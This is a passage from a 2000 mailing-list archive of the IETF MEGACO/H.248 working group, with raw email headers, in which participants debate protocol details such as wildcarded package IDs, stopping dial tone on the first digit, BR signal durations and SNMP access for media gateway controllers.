Taylor) > Phone and FAX: +1 613 736 0961 ------_=_NextPart_001_01BF6D05.19D69CA4 Content-Type: text/html Content-Transfer-Encoding: quoted-printable RE: Meaning Of Wildcarded PackageID

Tom, list:

Our current = production for pkgdName applies to eventsDescriptors (setting of = requests and receiving results) and to propertyParm (for = setting/getting properties).  I think the events aspect is more = important than the properties aspect. 

For = eventsDescriptors, this allows 4 cases:
1) = PackageName/ItemID :  Useful for the general, fully specified = case.  Gotta have it. 
2) PackageName/* : = Useful to get all events from particular elements, or just as a = shortcut for elements that have a large number of event types to = monitor, to trade bandwidth to describe events vs bandwidth to report = them. I expect this would be used quite often, for example in tone = detection. 

3) */* :  = Definitely very useful for small, simple applications where the MGC = wants to see all events, all the time.
4) */ItemID : I = don't see any immediate need for this one.  It does seem rather = ambiguous in terms of name space, and would also be a bit onerous to = process in any MG with a lot of packages.

Therefore, for = eventsDescriptors, I think it makes sense to alter the production to = allow cases 1-3 above, and disallow case 4. 

For properties, I = don't see a clear use for cases 2 - 4.  Therefore, I'd suggest = disallow all but case 1.  However, I don't see the properties = aspect as a big deal (unlike events), so if its more compact to leave = it the same as for events, then I say so be it. 

-- Peter

    -----Original Message-----
    From:   Taylor, Tom-PT [CAR:B904:EXCH]
    Sent:   1 Feb, 2000 13:32
    To:     MEGACO@STANDARDS.NORTELNETWORKS.COM
    Subject:       = Meaning Of Wildcarded = PackageID

    Our ABNF pkgdName production shows the = possibility of using "*" instead of
    the package name.  What is this = supposed to mean?  I don't like the look of
    it -- it suggests the possibility of = unintended name space collisions.

    Tom Taylor
    Advisor -- IPConnect Standards
    E-mail: taylor@nortelnetworks.com = (internally, Tom-PT Taylor)
    Phone and FAX: +1 613 736 0961

------_=_NextPart_001_01BF6D05.19D69CA4-- From owner-megaco@STANDARDS.NORTELNETWORKS.COM Tue Feb 1 18:06:36 2000 Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA09053 for ; Tue, 1 Feb 2000 18:06:31 -0500 (EST) Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.A7F58C10@standards.nortelnetworks.com>; Tue, 1 Feb 2000 18:03:34 -0500 Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM (LISTSERV-TCP/IP release 1.8d) with spool id 18144 for MEGACO@STANDARDS.NORTELNETWORKS.COM; Tue, 1 Feb 2000 18:02:17 -0500 Received: from mailgate.fore.com by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.13F37DC0@standards.nortelnetworks.com>; Tue, 1 Feb 2000 17:52:16 -0500 Received: from mailman.fore.com (mailman.fore.com [169.144.2.12]) by mailgate.fore.com (8.9.3/8.9.3) with ESMTP id RAA23050; Tue, 1 Feb 2000 17:54:18 -0500 (EST) Received: from whq-msgrtr-01.fore.com (whq-msgrtr-01.fore.com [169.144.2.221]) by mailman.fore.com (8.9.3/8.9.3) with ESMTP id RAA19220; Tue, 1 Feb 2000 17:54:20 -0500 (EST) Received: by whq-msgrtr-01.fore.com with Internet Mail Service (5.5.2650.21) id ; Tue, 1 Feb 2000 17:51:09 -0500 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: multipart/alternative; boundary="----_=_NextPart_001_01BF6D06.D3D19F68" Message-ID: <4FBEA8857476D311A03300204840E1CF1A0CFB@whq-msgusr-02.fore.com> Date: Tue, 1 Feb 2000 17:54:17 -0500 Reply-To: "Rosen, Brian" Sender: "Media Gateway Control (megaco)" From: "Rosen, Brian" Subject: Re: FW: Re: Stopping of Dial Tone X-To: Murat Bog To: MEGACO@STANDARDS.NORTELNETWORKS.COM This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. ------_=_NextPart_001_01BF6D06.D3D19F68 Content-Type: text/plain; charset="iso-8859-1" I'm traveling, so this may reach you after someone else said (hopefully the same) thing. It's all in how you interpret how digitmaps work. The way we have been looking at them is that they modify the behavior of the event mechanism to not cause Notify's for every digit detection. If you use that interpretation, the digit events still occur, they simply don't cause a Notify. If you accept that, then the first digit is an event, and it turns off signals (unless they are marked KeepActive). Having said that, it would be easy, and proper to add a line to the dd/ce event that explicitly states that the detection of the first digit defines the BEGINNING of event detection, thus stopping signals, and detection of the end digit is the end of event detection, and causes the Notify. Would that be satisfactory? -----Original Message----- From: Murat Bog [mailto:mbog@coppercom.com] Sent: Monday, January 31, 2000 7:04 PM To: MEGACO@standards.nortelnetworks.com Subject: Re: FW: Re: Stopping of Dial Tone Unless I have missed some obvious points, I don't see this as a non-issue and I share the concern with Madhu Babu. Although we all know what the desired behavior is, neither the current definition of the ce event in the dd package nor that of the DigitMap descriptor in section 7.1.14 supports that behavior. The dd/ce event is detected by the MG when the digits/timers match the dial plan. We want the dial tone to stop immediately after the detection of the first digit. At that time, however, there is no match against the dial plan (unless the dial plan is something like "x") and a dd/ce event which should stop the dial tone does not exist yet. I don't know of any other place in the protocol specification where this issue is explicitly addressed. The ABNF changes regarding the event descriptor, introduced in v13 and retained in v14, show the eventDM as possible a parameter of a requestedEvent, but nothing is said about the handling of signals if eventDM is used; i.e. stop signals after the first digit. If this were the intent, I think it should be made explicit in the text. If not, I am not sure it would be a good idea to change the definition of dd/ce event to the same effect since it would create an exception to the general model. It also seems to me that there may be other ways of expressing the desired behaviour. One example that I remember have been discussed on the list before used the embedding capability as follows (assume event buffering is off): Events = 2223 { al/on, dd/etd { tl = *, Embed { Events = 2224 { dd/ce { DigitMap = DialPlan0 } } } } Signals { cg/dt } I am assuming that if embedding is used in a requestedEvent, the processing is such that a notify command is not sent when that event is detected but rather the event is applied against the embedded event descriptor (if there is one). Otherwise, two notify commands will be sent: one when the first digit is detected and the second when the following digits/timers match the digit map. This may or may not be the desired behavior but in any case this could be another area for the text to benefit from some clarification. Murat Bog. CopperCom Inc. -----Original Message----- From: Tom-PT Taylor [mailto:taylor@NORTELNETWORKS.COM] Sent: Monday, January 31, 2000 6:52 AM To: MEGACO@STANDARDS.NORTELNETWORKS.COM Subject: Re: FW: Re: Stopping of Dial Tone I'm happy to accept this as the common understanding. -----Original Message----- From: Selvam Rengasami [SMTP:srengasa@TELCORDIA.COM] Sent: Monday, January 31, 2000 8:17 AM To: MEGACO@STANDARDS.NORTELNETWORKS.COM Subject: Re: FW: Re: Stopping of Dial Tone John, This was also my working assumption and I agree that I don't really see this as a problem either. -Selvam Rengasami Telcordia Technologies Tel: +1 732 758 5260 E-mail: srengasa@telcordia.com John Segers on 01/31/2000 06:33:41 AM Please respond to John Segers To: MEGACO@STANDARDS.NORTELNETWORKS.COM cc: (bcc: Selvam Rengasami/Telcordia) Subject: Re: FW: Re: Stopping of Dial Tone Tom, Is it really a problem? The way I always understood this, is that detection of an event stops an active signal. It doesn't matter how the event is detected or reported. So an event that leads to a partial match in a digit map (the first digit) would stop dialtone. Is my thinking flawed? John Tom-PT Taylor wrote: > > Resend -- first attempt got swallowed. > > > -----Original Message----- > > From: Taylor, Tom-PT [CAR:B904:EXCH] > > Sent: Wednesday, January 26, 2000 12:46 PM > > To: 'Megaco' > > Subject: Re: Stopping of Dial Tone > > > > The problem is real. The question is what event detection mechanism to > > use to stop dial tone. It doesn't matter whether we define a new start of > > dialling event or simply use the existing dd/* ("detect any DTMF digit"): > > there is a problem of potential interaction with the digit map. The most > > straightforward solution is that the MGC has to ask that the first digit > > be reported, and only after that it can send down a digit map for > > everything else. Alternatively we have to modify section 7.1.8 to make it > > clear that it is possible to request digit detection in parallel with > > digit mapping (i.e. dd/* in combination with dd/ce {...} means that > > individual digit events are detected, but the same digits are also > > processed by the digit map. > > > > Comments? > > > > > > From: Madhu Babu > > Subject: Stopping of Dial tone > > > > > > Hi all, > > > > According to the example in the Appendix A.1.2 when > > MGC request > > MG to apply dial tone and check for digit events it is > > specified > > as > > > > Events = 2223 { > > al/on, dd/ce {DigitMap=Dialplan0} > > } > > Signals {cg/dt}, > > > > According to the protocol an signal is stopped > > Whenever any > > event occurs. and here the event requested by MGC is > > digitmap > > completion,that means dial tone will be stopped when > > we get > > all the digits (as implied by the name digitmap > > completion). > > What I suggest is that a new event like > > "firstdigitcompletion" > > should also be specified, otherwise how can the first > > digit itself > > stops the dialtone. > > > > regards > > -Madhubabu > > > > Tom Taylor > > Advisor -- IPConnect Standards > > E-mail: taylor@nortelnetworks.com (internally, Tom-PT Taylor) > > Phone and FAX: +1 613 736 0961 > > -- John Segers email: jsegers@lucent.com Lucent Technologies Room HE 306 Dept. Forward Looking Work phone: +31 35 687 4724 P.O. Box 18, 1270 AA Huizen fax: +31 35 687 5954 ------_=_NextPart_001_01BF6D06.D3D19F68 Content-Type: text/html; charset="iso-8859-1" RE: FW: Re: Stopping of Dial Tone
I'm traveling, so this may reach you after someone else said (hopefully the same) thing.
 
It's all in how you interpret how digitmaps work.  The way we have been looking at them is that they
modify the behavior of the event mechanism to not cause Notify's for every digit detection.  If you use
that interpretation, the digit events still occur, they simply don't cause a Notify.  If you accept that, then
the first digit is an event, and it turns off signals (unless they are marked KeepActive).
 
Having said that, it would be easy, and proper to add a line to the dd/ce event that explicitly states that
the detection of the first digit defines the BEGINNING of event detection, thus stopping signals, and
detection of the end digit is the end of event detection, and causes the Notify.
 
Would that be satisfactory?
-----Original Message-----
From: Murat Bog [mailto:mbog@coppercom.com]
Sent: Monday, January 31, 2000 7:04 PM
To: MEGACO@standards.nortelnetworks.com
Subject: Re: FW: Re: Stopping of Dial Tone

Unless I have missed some obvious points, I don't see this as a non-issue and I share the concern with Madhu Babu.  Although we all know what the desired behavior is, neither the current definition of the ce event in the dd package nor that of the DigitMap descriptor in section 7.1.14 supports that behavior.  The dd/ce event is detected by the MG when the digits/timers match the dial plan.  We want the dial tone to stop immediately after the detection of the first digit.  At that time, however, there is no match against the dial plan (unless the dial plan is something like "x") and a dd/ce event which should stop the dial tone does not exist yet.
 
I don't know of any other place in the protocol specification where this issue is explicitly addressed.  The ABNF changes regarding the event descriptor, introduced in v13 and retained in v14, show the eventDM as possible a parameter of a requestedEvent, but nothing is said about the handling of signals if eventDM is used; i.e. stop signals after the first digit.  If this were the intent, I think it should be made explicit in the text.  If not, I am not sure it would be a good idea to change the definition of dd/ce event to the same effect since it would create an exception to the general model.
 
It also seems to me that there may be other ways of expressing the desired behaviour.  One example that I remember have been discussed on the list before used the embedding capability as follows (assume event buffering is off):
 
Events = 2223 { 
  al/on,
  dd/etd {
     tl = *,
     Embed {
       Events = 2224 {
         dd/ce {
            DigitMap = DialPlan0
         }
     }
  }
}
Signals {
  cg/dt
} 
 
I am assuming that if embedding is used in a requestedEvent, the processing is such that a notify command is not sent when that event is detected but rather the event is applied against the embedded event descriptor (if there is one).  Otherwise, two notify commands will be sent: one when the first digit is detected and the second when the following digits/timers match the digit map.  This may or may not be the desired behavior but in any case this could be another area for the text to benefit from some clarification.
 
 
Murat Bog.
CopperCom Inc.
 
 -----Original Message-----
From: Tom-PT Taylor [mailto:taylor@NORTELNETWORKS.COM]
Sent: Monday, January 31, 2000 6:52 AM
To: MEGACO@STANDARDS.NORTELNETWORKS.COM
Subject: Re: FW: Re: Stopping of Dial Tone

I'm happy to accept this as the common understanding.

    -----Original Message-----
    From:   Selvam Rengasami [SMTP:srengasa@TELCORDIA.COM]
    Sent:   Monday, January 31, 2000 8:17 AM
    To:     MEGACO@STANDARDS.NORTELNETWORKS.COM
    Subject:        Re: FW: Re: Stopping of Dial Tone

    John,

    This was also my working assumption and I agree that I don't really see this as
    a problem either.

    -Selvam Rengasami
    Telcordia Technologies

    Tel:  +1 732 758 5260
    E-mail:  srengasa@telcordia.com





    John Segers <jsegers@LUCENT.COM> on 01/31/2000 06:33:41 AM

    Please respond to John Segers <jsegers@LUCENT.COM>

    To:   MEGACO@STANDARDS.NORTELNETWORKS.COM
    cc:    (bcc: Selvam Rengasami/Telcordia)
    Subject:  Re: FW: Re: Stopping of Dial Tone




    Tom,

    Is it really a problem?  The way I always understood this, is that
    detection of an event stops an active signal.  It doesn't matter how the
    event is detected or reported.  So an event that leads to a partial
    match in a digit map (the first digit) would stop dialtone.

    Is my thinking flawed?

    John

    Tom-PT Taylor wrote:
    >
    > Resend -- first attempt got swallowed.
    >
    > > -----Original Message-----
    > > From: Taylor, Tom-PT [CAR:B904:EXCH]
    > > Sent: Wednesday, January 26, 2000 12:46 PM
    > > To:   'Megaco'
    > > Subject:      Re: Stopping of Dial Tone
    > >
    > > The problem is real.  The question is what event detection mechanism to
    > > use to stop dial tone.  It doesn't matter whether we define a new start of
    > > dialling event or simply use the existing dd/* ("detect any DTMF digit"):
    > > there is a problem of potential interaction with the digit map.  The most
    > > straightforward solution is that the MGC has to ask that the first digit
    > > be reported, and only after that it can send down a digit map for
    > > everything else.  Alternatively we have to modify section 7.1.8 to make it
    > > clear that it is possible to request digit detection in parallel with
    > > digit mapping (i.e. dd/* in combination with dd/ce {...} means that
    > > individual digit events are detected, but the same digits are also
    > > processed by the digit map.
    > >
    > > Comments?
    > >
    > >
    > >                     From:         Madhu Babu <bmbabu@HSS.HNS.COM>
    > >                     Subject:      Stopping of Dial tone
    > >
    > >
    > >                     Hi all,
    > >
    > >                     According to the example in the Appendix A.1.2 when
    > > MGC request
    > >                     MG to apply dial tone and check for digit events it is
    > > specified
    > >                     as
    > >
    > >                     Events = 2223 {
    > >                     al/on, dd/ce {DigitMap=Dialplan0}
    > >                     }
    > >                     Signals {cg/dt},
    > >
    > >                     According to the protocol an signal is stopped
    > > Whenever any
    > >                     event occurs. and here the event requested by MGC is
    > > digitmap
    > >                     completion,that means dial tone will be stopped when
    > > we get
    > >                     all the digits (as implied by the name digitmap
    > > completion).
    > >                     What I suggest is that a new event like
    > > "firstdigitcompletion"
    > >                     should also  be specified, otherwise how can the first
    > > digit itself
    > >                     stops the dialtone.
    > >
    > >                     regards
    > >                     -Madhubabu
    > >
    > > Tom Taylor
    > > Advisor -- IPConnect Standards
    > > E-mail: taylor@nortelnetworks.com (internally, Tom-PT Taylor)
    > > Phone and FAX: +1 613 736 0961
    > >

    --
    John Segers                                  email: jsegers@lucent.com
    Lucent Technologies                                        Room HE 306
    Dept. Forward Looking Work                      phone: +31 35 687 4724
    P.O. Box 18, 1270 AA  Huizen                      fax: +31 35 687 5954

------_=_NextPart_001_01BF6D06.D3D19F68-- From owner-megaco@STANDARDS.NORTELNETWORKS.COM Tue Feb 1 18:06:38 2000 Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA09063 for ; Tue, 1 Feb 2000 18:06:36 -0500 (EST) Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.A8575B20@standards.nortelnetworks.com>; Tue, 1 Feb 2000 18:03:35 -0500 Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM (LISTSERV-TCP/IP release 1.8d) with spool id 18145 for MEGACO@STANDARDS.NORTELNETWORKS.COM; Tue, 1 Feb 2000 18:02:21 -0500 Received: from mailgate.fore.com by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.16701680@standards.nortelnetworks.com>; Tue, 1 Feb 2000 17:52:20 -0500 Received: from mailman.fore.com (mailman.fore.com [169.144.2.12]) by mailgate.fore.com (8.9.3/8.9.3) with ESMTP id RAA23058; Tue, 1 Feb 2000 17:54:20 -0500 (EST) Received: from whq-msgrtr-01.fore.com (whq-msgrtr-01.fore.com [169.144.2.221]) by mailman.fore.com (8.9.3/8.9.3) with ESMTP id RAA19230; Tue, 1 Feb 2000 17:54:22 -0500 (EST) Received: by whq-msgrtr-01.fore.com with Internet Mail Service (5.5.2650.21) id ; Tue, 1 Feb 2000 17:51:12 -0500 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain; charset="iso-8859-1" Message-ID: <4FBEA8857476D311A03300204840E1CF1A0CFD@whq-msgusr-02.fore.com> Date: Tue, 1 Feb 2000 17:54:19 -0500 Reply-To: "Rosen, Brian" Sender: "Media Gateway Control (megaco)" From: "Rosen, Brian" Subject: Re: IANA considerations X-To: samittal@hss.hns.com To: MEGACO@STANDARDS.NORTELNETWORKS.COM No we don't, we should do this, but not in this pass, PLEASE. Brian > -----Original Message----- > From: Sachin Mittal [mailto:samittal@hss.hns.com] > Sent: Tuesday, February 01, 2000 1:27 AM > To: MEGACO@standards.nortelnetworks.com > Subject: IANA considerations > > > In section 13 the following are specified: > "A complete description of the conditions under which the > error is detected > shall be > included in a publicly available document. The description > shall be sufficiently > clear > to differentiate the error from all other existing error codes." > "A complete description of the conditions under which the > reason is used is > detected > shall be included in a publicly available document. The > description shall be > sufficiently clear to differentiate the reason from all other > existing reasons." > > Is there a document which contain such description for the existing > error codes and service change reasons ?? > From owner-megaco@STANDARDS.NORTELNETWORKS.COM Tue Feb 1 18:06:42 2000 Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA09073 for ; Tue, 1 Feb 2000 18:06:39 -0500 (EST) Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.A8BB7420@standards.nortelnetworks.com>; Tue, 1 Feb 2000 18:03:35 -0500 Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM (LISTSERV-TCP/IP release 1.8d) with spool id 18146 for MEGACO@STANDARDS.NORTELNETWORKS.COM; Tue, 1 Feb 2000 18:02:22 -0500 Received: from mailgate.fore.com by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.13CB0E30@standards.nortelnetworks.com>; Tue, 1 Feb 2000 17:52:16 -0500 Received: from mailman.fore.com (mailman.fore.com [169.144.2.12]) by mailgate.fore.com (8.9.3/8.9.3) with ESMTP id RAA23049; Tue, 1 Feb 2000 17:54:18 -0500 (EST) Received: from whq-msgrtr-01.fore.com (whq-msgrtr-01.fore.com [169.144.2.221]) by mailman.fore.com (8.9.3/8.9.3) with ESMTP id RAA19218; Tue, 1 Feb 2000 17:54:20 -0500 (EST) Received: by whq-msgrtr-01.fore.com with Internet Mail Service (5.5.2650.21) id ; Tue, 1 Feb 2000 17:51:09 -0500 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain; charset="iso-8859-1" Message-ID: <4FBEA8857476D311A03300204840E1CF1A0CFC@whq-msgusr-02.fore.com> Date: Tue, 1 Feb 2000 17:54:18 -0500 Reply-To: "Rosen, Brian" Sender: "Media Gateway Control (megaco)" From: "Rosen, Brian" Subject: Re: Choosing of ephemeral / physical Termination. X-To: samittal@hss.hns.com To: MEGACO@STANDARDS.NORTELNETWORKS.COM > Can't we extend the pattern property recently defined in base > root package. > If we do then we need to also specify the patterntype > (ephemeral/physical) > property. You don't need to do this. Once you have a pattern, you can Audit Packages to find out what the set of terminations can do. You will get RTP, AAL1, etc. which tells you that it is an ephemeral, and what network type it is. Brian From owner-megaco@STANDARDS.NORTELNETWORKS.COM Tue Feb 1 18:59:36 2000 Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA10107 for ; Tue, 1 Feb 2000 18:59:30 -0500 (EST) Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.154A9330@standards.nortelnetworks.com>; Tue, 1 Feb 2000 18:56:44 -0500 Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM (LISTSERV-TCP/IP release 1.8d) with spool id 18250 for MEGACO@STANDARDS.NORTELNETWORKS.COM; Tue, 1 Feb 2000 18:55:07 -0500 Received: from mailgate.fore.com by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.75AB7F20@standards.nortelnetworks.com>; Tue, 1 Feb 2000 18:45:07 -0500 Received: from mailman.fore.com (mailman.fore.com [169.144.2.12]) by mailgate.fore.com (8.9.3/8.9.3) with ESMTP id SAA26763; Tue, 1 Feb 2000 18:47:07 -0500 (EST) Received: from whq-msgrtr-01.fore.com (whq-msgrtr-01.fore.com [169.144.2.221]) by mailman.fore.com (8.9.3/8.9.3) with ESMTP id SAA26806; Tue, 1 Feb 2000 18:47:10 -0500 (EST) Received: by whq-msgrtr-01.fore.com with Internet Mail Service (5.5.2650.21) id ; Tue, 1 Feb 2000 18:43:59 -0500 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain; charset="iso-8859-1" Message-ID: <4FBEA8857476D311A03300204840E1CF1A0D02@whq-msgusr-02.fore.com> Date: Tue, 1 Feb 2000 18:47:08 -0500 Reply-To: "Rosen, Brian" Sender: "Media Gateway Control (megaco)" From: "Rosen, Brian" Subject: Re: Meaning Of BR Signal Type X-To: Tom-PT Taylor To: MEGACO@STANDARDS.NORTELNETWORKS.COM I don't agree with this. Every signal has a duration, and the DEFAULT may be provisioned, but it can be overridden. The MGC should be able to override the default. Certainly something like a DTMF digit has to be able to be overridden to generate a "long tone" for example. I'd accept that some MGs may not be able to do this, but I expect that won't be much of a problem. Brian > -----Original Message----- > From: Tom-PT Taylor [mailto:taylor@nortelnetworks.com] > Sent: Tuesday, February 01, 2000 2:31 PM > To: MEGACO@standards.nortelnetworks.com > Subject: Meaning Of BR Signal Type > > > This one has been flogged nearly to death, but from recent > discussions I > think we have the following understanding of the BR signal type. > > BR: the duration is known to the MG (either by provisioning > or by design). > The MGC must not specify a duration. > > I would propose that this definition replace the current text > in section > 7.1.11. > > > Tom Taylor > Advisor -- IPConnect Standards > E-mail: taylor@nortelnetworks.com (internally, Tom-PT Taylor) > Phone and FAX: +1 613 736 0961 > From owner-megaco@STANDARDS.NORTELNETWORKS.COM Tue Feb 1 18:59:42 2000 Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA10122 for ; Tue, 1 Feb 2000 18:59:36 -0500 (EST) Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.15AEAC30@standards.nortelnetworks.com>; Tue, 1 Feb 2000 18:56:45 -0500 Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM (LISTSERV-TCP/IP release 1.8d) with spool id 18251 for MEGACO@STANDARDS.NORTELNETWORKS.COM; Tue, 1 Feb 2000 18:55:11 -0500 Received: from mailgate.fore.com by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.783B2AB0@standards.nortelnetworks.com>; Tue, 1 Feb 2000 18:45:11 -0500 Received: from mailman.fore.com (mailman.fore.com [169.144.2.12]) by mailgate.fore.com (8.9.3/8.9.3) with ESMTP id SAA26777; Tue, 1 Feb 2000 18:47:13 -0500 (EST) Received: from whq-msgrtr-01.fore.com (whq-msgrtr-01.fore.com [169.144.2.221]) by mailman.fore.com (8.9.3/8.9.3) with ESMTP id SAA26830; Tue, 1 Feb 2000 18:47:16 -0500 (EST) Received: by whq-msgrtr-01.fore.com with Internet Mail Service (5.5.2650.21) id ; Tue, 1 Feb 2000 18:44:05 -0500 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: multipart/alternative; boundary="----_=_NextPart_001_01BF6D0E.395196A2" Message-ID: <4FBEA8857476D311A03300204840E1CF1A0D03@whq-msgusr-02.fore.com> Date: Tue, 1 Feb 2000 18:47:14 -0500 Reply-To: "Rosen, Brian" Sender: "Media Gateway Control (megaco)" From: "Rosen, Brian" Subject: Re: MG to MGC database coordination using SNMP X-To: Tom-PT Taylor To: MEGACO@STANDARDS.NORTELNETWORKS.COM This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. ------_=_NextPart_001_01BF6D0E.395196A2 Content-Type: text/plain; charset="iso-8859-1" I can In MANY networks, it is unacceptable to give the MGC manager access to SNMP. It can be an agent, not a manager. It is one of our requirements that this be true. Brian -----Original Message----- From: Tom-PT Taylor [mailto:taylor@nortelnetworks.com] Sent: Tuesday, February 01, 2000 3:00 PM To: MEGACO@standards.nortelnetworks.com Subject: Re: MG to MGC database coordination using SNMP Basically the agreement is to accept redundancy in the means of providing this information. We are developing the capabilities both in the Megaco protocol and in MIBs. There are a couple of reasons for this -- timeliness of information flow to the MGC, and the possibility that the network is configured so that the MGC does not have direct access to SNMP. I haven't been able to put my finger on the thread of discussion related to this issue -- maybe someone else can remember. -----Original Message----- From: Arik Klein [SMTP:Arik_Klein@TELEDATA.CO.IL] Sent: Wednesday, January 26, 2000 9:57 AM To: MEGACO@STANDARDS.NORTELNETWORKS.COM Subject: MG to MGC database coordination using SNMP As I understand so far, H.248 intends to provide whatever is necessary for the MGC to learn the MG's terminations structure and properties (using AuditCapabilities). Now, assuming that we are talking about a heavy MG, where we have an hierarchical tree of terminations, wouldn't it be better to use SNMP just for the database learning by the MGC ? Is this a new idea or was it raised on the list and rejected for some reason ? Thanks, Arik ------_=_NextPart_001_01BF6D0E.395196A2 Content-Type: text/html; charset="iso-8859-1" RE: MG to MGC database coordination using SNMP
I can
 
In MANY networks, it is unacceptable to give the MGC manager access to SNMP.  It can be an agent,
not a manager.  It is one of our requirements that this be true.
 
Brian
-----Original Message-----
From: Tom-PT Taylor [mailto:taylor@nortelnetworks.com]
Sent: Tuesday, February 01, 2000 3:00 PM
To: MEGACO@standards.nortelnetworks.com
Subject: Re: MG to MGC database coordination using SNMP

Basically the agreement is to accept redundancy in the means of providing this information.  We are developing the capabilities both in the Megaco protocol and in MIBs.  There are a couple of reasons for this -- timeliness of information flow to the MGC, and the possibility that the network is configured so that the MGC does not have direct access to SNMP.  I haven't been able to put my finger on the thread of discussion related to this issue -- maybe someone else can remember.

    -----Original Message-----
    From:   Arik Klein [SMTP:Arik_Klein@TELEDATA.CO.IL]
    Sent:   Wednesday, January 26, 2000 9:57 AM
    To:     MEGACO@STANDARDS.NORTELNETWORKS.COM
    Subject:        MG to MGC database coordination using SNMP

    As I understand so far, H.248 intends to provide whatever is necessary for
    the MGC to learn the MG's terminations structure and properties (using
    AuditCapabilities).
    Now, assuming that we are talking about a heavy MG, where we have an
    hierarchical tree of terminations, wouldn't it be better to use SNMP just
    for the database learning by the MGC ?
    Is this a new idea or was it raised on the list and rejected for some reason
    ?

    Thanks,
    Arik

------_=_NextPart_001_01BF6D0E.395196A2-- From owner-megaco@STANDARDS.NORTELNETWORKS.COM Tue Feb 1 19:48:28 2000 Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id TAA11097 for ; Tue, 1 Feb 2000 19:48:28 -0500 (EST) Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.EFD1D0D0@standards.nortelnetworks.com>; Tue, 1 Feb 2000 19:45:48 -0500 Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM (LISTSERV-TCP/IP release 1.8d) with spool id 18315 for MEGACO@STANDARDS.NORTELNETWORKS.COM; Tue, 1 Feb 2000 19:43:54 -0500 Received: from sj-mailhub-3.cisco.com by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.ABF69990@standards.nortelnetworks.com>; Tue, 1 Feb 2000 19:43:54 -0500 Received: from thomasm-u1.cisco.com (thomasm-u1.cisco.com [171.71.147.106]) by sj-mailhub-3.cisco.com (8.9.1a/8.9.1) with ESMTP id RAA00312; Tue, 1 Feb 2000 17:04:45 -0800 (PST) Received: (thomasm@localhost) by thomasm-u1.cisco.com (8.8.8-Cisco List Logging/CISCO.WS.1.2) id QAA24765; Tue, 1 Feb 2000 16:44:51 -0800 (PST) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit References: <4FBEA8857476D311A03300204840E1CF208868@whq-msgusr-02.fore.com> X-Mailer: VM 6.72 under 21.1 (patch 6) "Big Bend" XEmacs Lucid X-Face: &,heK/V66p?[2!i|tVn,9lN0TUvEv7:9FzXREj/AuzN4mu!4x[/Z4t{V}~L]+Sk @RFNnJEg~WZ/(8<`5a),-7ukALWa^&?&D2R0CSG3kO5~#6JxLF\d,g">$%B!0w{W)qIhmwhye104zd bUcI'1! Message-ID: <14487.32259.128619.249070@thomasm-u1.cisco.com> Date: Tue, 1 Feb 2000 16:44:51 -0800 Reply-To: Michael Thomas Sender: "Media Gateway Control (megaco)" From: Michael Thomas Subject: Re: Choosing of ephemeral / physical Termination. X-To: "Rosen, Brian" To: MEGACO@STANDARDS.NORTELNETWORKS.COM In-Reply-To: <4FBEA8857476D311A03300204840E1CF208868@whq-msgusr-02.fore.com> Content-Transfer-Encoding: 7bit Rosen, Brian writes: > Generally, I dislike having two ways to do something. So, x = x + 1; x += 1; x++; ++x; drives you crazy? I guess I just don't sweat syntactic diversity so long as it compiles down to the same/similar semantics. Mike From owner-megaco@STANDARDS.NORTELNETWORKS.COM Tue Feb 1 20:01:25 2000 Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id UAA11415 for ; Tue, 1 Feb 2000 20:01:24 -0500 (EST) Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.C19A14A0@standards.nortelnetworks.com>; Tue, 1 Feb 2000 19:58:49 -0500 Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM 